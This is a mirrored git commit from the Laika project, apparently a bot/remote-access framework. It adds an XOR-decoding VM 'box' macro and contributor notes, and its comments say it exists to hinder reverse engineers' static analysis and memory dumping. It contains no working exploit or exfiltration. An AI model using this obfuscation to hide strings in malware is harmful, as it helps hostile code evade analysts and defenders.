1
0
mirror of https://github.com/CPunch/Laika.git synced 2024-11-21 20:40:05 +00:00

Box: added LAIKA_BOX_SKID, vmTest now uses the LAIKA_BOX_SKID box

- updated CONTRIB
This commit is contained in:
CPunch 2022-05-01 14:41:32 -05:00
parent f90c99ce64
commit a4239282b2
3 changed files with 31 additions and 26 deletions

View File

@ -15,6 +15,7 @@ Looking for some simple tasks that need to get done for that sweet 'contributor'
- Change `lib/lin/linshell.c` to use openpty() instead of forkpty() for BSD support - Change `lib/lin/linshell.c` to use openpty() instead of forkpty() for BSD support
- Fix address sanitizer for CMake DEBUG builds - Fix address sanitizer for CMake DEBUG builds
- Change laikaT_getTime in `lib/src/ltask.c` to not use C11 features. - Change laikaT_getTime in `lib/src/ltask.c` to not use C11 features.
- Implement more LAIKA_BOX_* VMs in `lib/include/lbox.h`
## Lib: Error Handling ## Lib: Error Handling
Error handling in Laika is done via the 'lerror.h' header library. It's a small and simple error handling solution written for laika, however can be stripped and used as a simple error handling library. Error handling in Laika is used similarly to other languages, implementing a try & catch block and is achieved using setjmp(). The LAIKA_ERROR(...) is used to throw errors. Error handling in Laika is done via the 'lerror.h' header library. It's a small and simple error handling solution written for laika, however can be stripped and used as a simple error handling library. Error handling in Laika is used similarly to other languages, implementing a try & catch block and is achieved using setjmp(). The LAIKA_ERROR(...) is used to throw errors.
@ -44,6 +45,9 @@ Laika has a simple binary protocol & a small backend (see `lib/src/lpeer.c`) to
## Lib: Task Service ## Lib: Task Service
Tasks can be scheduled on a delta-period (call X function every approximate N seconds). laikaT_pollTasks() is used to check & run any currently queued tasks. This is useful for sending keep-alive packets, polling shell pipes, or other repeatably scheduled tasks. Most laikaT_pollTasks() calls are done in the peerHandler for each client/server. Tasks can be scheduled on a delta-period (call X function every approximate N seconds). laikaT_pollTasks() is used to check & run any currently queued tasks. This is useful for sending keep-alive packets, polling shell pipes, or other repeatably scheduled tasks. Most laikaT_pollTasks() calls are done in the peerHandler for each client/server.
## Lib: VM Boxes
Laika has a tiny VM for decrypting sensitive information (currently unused, but functional). For details on the ISA read `lib/include/lvm.h`, for information on how to use them read `lib/include/lbox.h`. Feel free to write your own boxes and contribute them :D
## Bot: Platform-specific backends ## Bot: Platform-specific backends
`bot/win` and `bot/lin` include code for platform-specific code that can't be quickly "ifdef"d away. These mainly include stuff like persistence or opening pseudo-ttys. `bot/win` and `bot/lin` include code for platform-specific code that can't be quickly "ifdef"d away. These mainly include stuff like persistence or opening pseudo-ttys.

View File

@ -18,7 +18,7 @@
2 main APIs are exposed here, laikaB_unlock() & laikaB_lock(). Both of which are inlined to make it more painful 2 main APIs are exposed here, laikaB_unlock() & laikaB_lock(). Both of which are inlined to make it more painful
for the reverse engineer to quickly dump boxes from memory, forcing them to set breakpoints across the executable. for the reverse engineer to quickly dump boxes from memory, forcing them to set breakpoints across the executable.
Each box has its own VM, with it's own deobfuscation routine. This makes static analysis a painful route for string Each box has its own VM, with it's own deobfuscation routine. This makes static analysis a painful route for string
dumping. dumping. Some predefined boxes are made for you to use.
*/ */
struct sLaikaB_box { struct sLaikaB_box {
@ -26,6 +26,29 @@ struct sLaikaB_box {
uint8_t code[LAIKA_VM_CODESIZE]; uint8_t code[LAIKA_VM_CODESIZE];
}; };
/* BOX_SKID decodes null-terminated strings using a provided xor _key. aptly named lol [SEE tools/vmtest/src/main.c] */
#define LAIKA_BOX_SKID(_key) { \
.unlockedData = {0}, /* reserved */ \
.code = { /* stack layout: \
[0] - unlockedData (ptr) \
[1] - data (ptr) \
[2] - key (uint8_t) \
[3] - working data (uint8_t) \
*/ \
LAIKA_MAKE_VM_IAB(OP_LOADCONST, 0, 0), \
LAIKA_MAKE_VM_IAB(OP_LOADCONST, 1, 1), \
LAIKA_MAKE_VM_IAB(OP_PUSHLIT, 2, _key), \
/* LOOP_START */ \
LAIKA_MAKE_VM_IAB(OP_READ, 3, 1), /* load data into working data */ \
LAIKA_MAKE_VM_IABC(OP_XOR, 3, 3, 2), /* xor data with key */ \
LAIKA_MAKE_VM_IAB(OP_WRITE, 0, 3), /* write data to unlockedData */ \
LAIKA_MAKE_VM_IA(OP_INCPTR, 0), \
LAIKA_MAKE_VM_IA(OP_INCPTR, 1), \
LAIKA_MAKE_VM_IAB(OP_TESTJMP, 3, -17), /* exit loop on null terminator */ \
OP_EXIT \
} \
}
LAIKA_FORCEINLINE void* laikaB_unlock(struct sLaikaB_box *box, void *data) { LAIKA_FORCEINLINE void* laikaB_unlock(struct sLaikaB_box *box, void *data) {
struct sLaikaV_vm vm = { struct sLaikaV_vm vm = {
/* boxes have 2 reserved constants, [0] for the output, [1] for the input */ /* boxes have 2 reserved constants, [0] for the output, [1] for the input */

View File

@ -5,39 +5,17 @@
#include "lbox.h" #include "lbox.h"
/* VM BOX Demo: /* VM BOX Demo:
A secret message has been xor'd, this tiny bytecode chunk decodes 'data' into A secret message has been xor'd, the BOX_SKID is used to decode the message.
'unlockedData'. Obviously you wouldn't want a key this simple, more obfuscation
would be good (byte swapping, revolving xor key, etc.)
*/ */
int main(int argv, char **argc) { int main(int argv, char **argc) {
uint8_t data[] = { uint8_t data[] = {
0x96, 0xBB, 0xB2, 0xB2, 0xB1, 0xFE, 0x89, 0xB1, 0x96, 0xBB, 0xB2, 0xB2, 0xB1, 0xFE, 0x89, 0xB1,
0xAC, 0xB2, 0xBA, 0xFF, 0xDE, 0x20, 0xEA, 0xBA, 0xAC, 0xB2, 0xBA, 0xFF, 0xDE, 0x20, 0xEA, 0xBA, /* you can see the key here, 0xDE ^ 0xDE is the NULL terminator lol */
0xCE, 0xEA, 0xFC, 0x01, 0x9C, 0x23, 0x4D, 0xEE 0xCE, 0xEA, 0xFC, 0x01, 0x9C, 0x23, 0x4D, 0xEE
}; };
struct sLaikaB_box box = { struct sLaikaB_box box = LAIKA_BOX_SKID(0xDE);
.unlockedData = {0}, /* reserved */
.code = { /* stack layout:
[0] - unlockedData (ptr)
[1] - data (ptr)
[2] - key (uint8_t)
[3] - working data (uint8_t)
*/
LAIKA_MAKE_VM_IAB(OP_LOADCONST, 0, 0),
LAIKA_MAKE_VM_IAB(OP_LOADCONST, 1, 1),
LAIKA_MAKE_VM_IAB(OP_PUSHLIT, 2, 0xDE),
/* LOOP_START */
LAIKA_MAKE_VM_IAB(OP_READ, 3, 1), /* load data into working data */
LAIKA_MAKE_VM_IABC(OP_XOR, 3, 3, 2), /* xor data with key */
LAIKA_MAKE_VM_IAB(OP_WRITE, 0, 3), /* write data to unlockedData */
LAIKA_MAKE_VM_IA(OP_INCPTR, 0),
LAIKA_MAKE_VM_IA(OP_INCPTR, 1),
LAIKA_MAKE_VM_IAB(OP_TESTJMP, 3, -17), /* exit loop on null terminator */
OP_EXIT
}
};
laikaB_unlock(&box, data); laikaB_unlock(&box, data);
printf("%s\n", box.unlockedData); printf("%s\n", box.unlockedData);